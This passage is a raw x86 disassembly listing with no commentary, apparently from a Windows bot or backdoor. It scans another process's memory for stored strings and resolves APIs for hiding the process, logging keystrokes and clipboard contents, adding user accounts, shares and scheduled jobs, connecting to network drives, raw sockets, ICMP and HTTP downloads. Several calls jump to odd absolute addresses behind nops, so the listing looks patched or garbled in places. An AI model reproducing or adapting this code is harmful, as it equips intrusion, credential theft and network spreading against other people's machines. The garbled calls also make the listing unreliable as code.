[ebp+var_10], esi push esi push 410h nop call near ptr 274066Ch cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 2740000h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 2730B50h test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_439A38 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43A238 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 26C04E8h test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 26C0000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43AC5C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43AC54, eax mov dword_43AC58, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 2720363h mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] nop call near ptr 265089Dh pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 274066Ch test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 2740000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 2730B50h nop test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax call near ptr 2730000h nop mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 2730D5Ah nop test eax, eax jz short loc_409602 push offset dword_439A38 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43A238 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax nop call near ptr 2720363h jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] nop call near ptr 265089Dh loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43AC54, ebx mov dword_43AC58, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call near ptr 265089Dh nop push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43AC50 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 2730000h mov ecx, dword_43AC50 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43AC58 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43AC5C push eax call dword_43AA3C push [ebp+var_4] mov edi, offset dword_43AA48 push offset dword_439A38 push offset dword_43A238 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 2720363h nop mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43AC50 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 2730B02h nop push eax call near ptr 2730000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43A238 mov edi, 200h mov esi, offset dword_439838 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43AC50 add eax, eax push eax push dword_43AC58 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43AA3C mov eax, dword_43AC50 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 nop call near ptr 2730B02h push eax call near ptr 2720363h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43AE44, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43ADB8, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43AD9C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43ACB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43AC64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43AC94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43AD08, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43ADF8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43AE54, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43ACC4, eax call esi cmp dword_43AE44, ebx mov dword_43ACAC, eax jz short loc_40991D cmp dword_43ADB8, ebx jz short loc_40991D cmp dword_43AD9C, ebx jz short loc_40991D cmp dword_43ACB8, ebx jz short loc_40991D cmp dword_43AC94, ebx jz short loc_40991D cmp dword_43AD08, ebx jz short loc_40991D cmp dword_43ADF8, ebx jz short loc_40991D cmp dword_43AE54, ebx jz short loc_40991D cmp dword_43ACC4, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43AE58, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43ADD0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj call near ptr 26702AAh nop mov dword_43AE5C, eax mov dword_43AE58, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2720000h mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43ADF4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43ADA4, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43AD38, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43AE48, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43AD68, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43AD88, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43ADEC, eax call esi cmp dword_43ADF4, ebx mov dword_43ACE0, eax jz short loc_409A0D cmp dword_43ADA4, ebx jz short loc_409A0D cmp dword_43AD38, ebx jz short loc_409A0D cmp dword_43AE48, ebx jz short loc_409A0D cmp dword_43AD68, ebx jz short loc_409A0D cmp dword_43AD88, ebx jz short loc_409A0D cmp dword_43ADEC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43AE60, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43AD64, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43AC78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43AD34, eax call esi cmp dword_43AD64, ebx mov dword_43AD20, eax jz short loc_409A74 cmp dword_43AC78, ebx jz short loc_409A74 cmp dword_43AD34, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j nop call near ptr 26702AAh mov dword_43AE64, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43AE60, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43AE08, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43AD4C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43ADBC, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43ACA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43AD04, eax call esi cmp dword_43AE08, ebx mov dword_43AD74, eax jz short loc_409B09 cmp dword_43AD4C, ebx jz short loc_409B09 cmp dword_43ADBC, ebx jz short loc_409B09 cmp dword_43ACA4, ebx jz short loc_409B09 cmp dword_43AD04, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43AE68, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43AD7C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43AD54, eax call esi cmp dword_43AD7C, ebx mov dword_43AE04, eax jz short loc_409B4E cmp dword_43AD54, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43AE68, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43AD8C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43AC80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43AC88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43ACE8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43ACEC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43AC9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43AD58, eax call esi cmp dword_43AD8C, ebx mov dword_43AC8C, eax jz short loc_409BFC cmp dword_43AC80, ebx jz short loc_409BFC cmp dword_43AC88, ebx jz short loc_409BFC cmp dword_43ACE8, ebx jz short loc_409BFC cmp dword_43ACEC, ebx jz short loc_409BFC cmp dword_43AC9C, ebx jz short loc_409BFC cmp dword_43AD58, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43AE68, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43AC84, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 26702AAh mov dword_43AE6C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43AE68, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43AD84, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43ADDC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43ADE4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43ADA0, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43ACC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43AC74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43ADE0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43AC60, eax call esi cmp dword_43AD84, ebx mov dword_43ACFC, eax jz short loc_409D05 cmp dword_43ADDC, ebx jz short loc_409D05 cmp dword_43ADE4, ebx jz short loc_409D05 cmp dword_43ADA0, ebx jz short loc_409D05 cmp dword_43ACC8, ebx jz short loc_409D05 cmp dword_43AC74, ebx jz short loc_409D05 cmp dword_43ADE0, ebx jz short loc_409D05 cmp dword_43AC60, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj nop call near ptr 26702AAh mov dword_43AE74, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43AE70, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43AD10, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43AE3C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43ACB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43AC90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43AD44, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43AD2C, eax call esi push offset aSocket ; "socket" push edi mov dword_43ACF8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43AE18, eax call esi push offset aConnect ; "connect" push edi mov dword_43AE34, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43AD40, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43AE24, eax call esi push offset aHtons ; "htons" push edi mov dword_43ADD8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43AD98, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43AD94, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43ACD4, eax call esi push offset aSend ; "send" push edi mov dword_43ACCC, eax call esi push offset aSendto ; "sendto" push edi mov dword_43ADE8, eax call esi push offset aRecv ; "recv" push edi mov dword_43ADFC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43ADB0, eax call esi mov dword_43AD70, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43ADC4, eax call esi push offset aListen ; "listen" push edi mov dword_43AD80, eax call esi push offset aAccept ; "accept" push edi mov dword_43ADC0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43AE2C, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43AD78, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43AD3C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43ADAC, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43AE1C, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43AD50, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43ACF4, eax call esi cmp dword_43AD10, ebx mov dword_43AE30, eax jz loc_409FD6 cmp dword_43AE3C, ebx jz loc_409FD6 cmp dword_43ACB4, ebx jz loc_409FD6 cmp dword_43AD44, ebx jz loc_409FD6 cmp dword_43AD2C, ebx jz loc_409FD6 cmp dword_43ACF8, ebx jz loc_409FD6 cmp dword_43AE18, ebx jz loc_409FD6 cmp dword_43AE34, ebx jz loc_409FD6 cmp dword_43AD40, ebx jz loc_409FD6 cmp dword_43AE24, ebx jz loc_409FD6 cmp dword_43ADD8, ebx jz loc_409FD6 cmp dword_43AD98, ebx jz loc_409FD6 cmp dword_43AD94, ebx jz loc_409FD6 cmp dword_43ACD4, ebx jz short loc_409FD6 cmp dword_43ADE8, ebx jz short loc_409FD6 cmp dword_43ADFC, ebx jz short loc_409FD6 cmp dword_43ADB0, ebx jz short loc_409FD6 cmp dword_43AD70, ebx jz short loc_409FD6 cmp dword_43ADC4, ebx jz short loc_409FD6 cmp dword_43AD80, ebx jz short loc_409FD6 cmp dword_43ADC0, ebx jz short loc_409FD6 cmp dword_43AE2C, ebx jz short loc_409FD6 cmp dword_43AD78, ebx jz short loc_409FD6 cmp dword_43AD3C, ebx jz short loc_409FD6 cmp dword_43ADAC, ebx jz short loc_409FD6 cmp dword_43AE1C, ebx jz short loc_409FD6 cmp dword_43AD50, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j nop call near ptr 26702AAh mov dword_43AE7C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43AE78, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43ACDC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43AC68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43AD60, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43AD14, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43AD6C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43AD30, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43ACA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43ACA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43ACB0, eax call esi cmp dword_43ACDC, ebx mov ecx, dword_43AD30 mov dword_43ADCC, eax jz short loc_40A0C1 cmp dword_43AC68, ebx jz short loc_40A0C1 cmp dword_43AD60, ebx jz short loc_40A0C1 cmp dword_43AD14, ebx jz short loc_40A0C1 cmp dword_43AD6C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43ACA8, ebx jz short loc_40A0C1 cmp dword_43ACA0, ebx jz short loc_40A0C1 cmp dword_43ACB0, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43AE80, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43AD48, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj call near ptr 26702AAh nop mov dword_43AE84, eax mov dword_43AE80, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43AD48, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43AD24, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43AE50, eax call esi cmp dword_43AD24, ebx mov dword_43ACBC, eax jz short loc_40A155 cmp dword_43AE50, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 26702AAh mov dword_43AE8C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43AE88, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43AC98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43AC70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43ACE4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43AD18, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43AE28, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43ACD0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43AC7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43AC6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43AD00, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43ADF0, eax call esi cmp dword_43AC98, ebx mov dword_43ADA8, eax jz short loc_40A260 cmp dword_43AC70, ebx jz short loc_40A260 cmp dword_43ACE4, ebx jz short loc_40A260 cmp dword_43AD18, ebx jz short loc_40A260 cmp dword_43AE28, ebx jz short loc_40A260 cmp dword_43ACD0, ebx jz short loc_40A260 cmp dword_43AC7C, ebx jz short loc_40A260 cmp dword_43AC6C, ebx jz short loc_40A260 cmp dword_43AD00, ebx jz short loc_40A260 cmp dword_43ADF0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj nop call near ptr 26702AAh mov dword_43AE94, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43AE90, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43ACC0, eax call esi cmp dword_43ACC0, ebx mov dword_43AD90, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j nop call near ptr 26702AAh mov dword_43AE9C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43AE98, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43AE14, eax call esi cmp dword_43AE14, ebx mov dword_43AE10, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j call near ptr 26702AAh nop mov dword_43AEA4, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43AEA0, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43AE40, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43AE38, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43AE00, eax call esi cmp dword_43AE40, ebx mov dword_43ACD8, eax jz short loc_40A368 cmp dword_43AE38, ebx jz short loc_40A368 cmp dword_43AE00, ebx jz short loc_40A368 cmp eax, ebx jnz short loc_40A372 jmp short loc_40A368 ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: 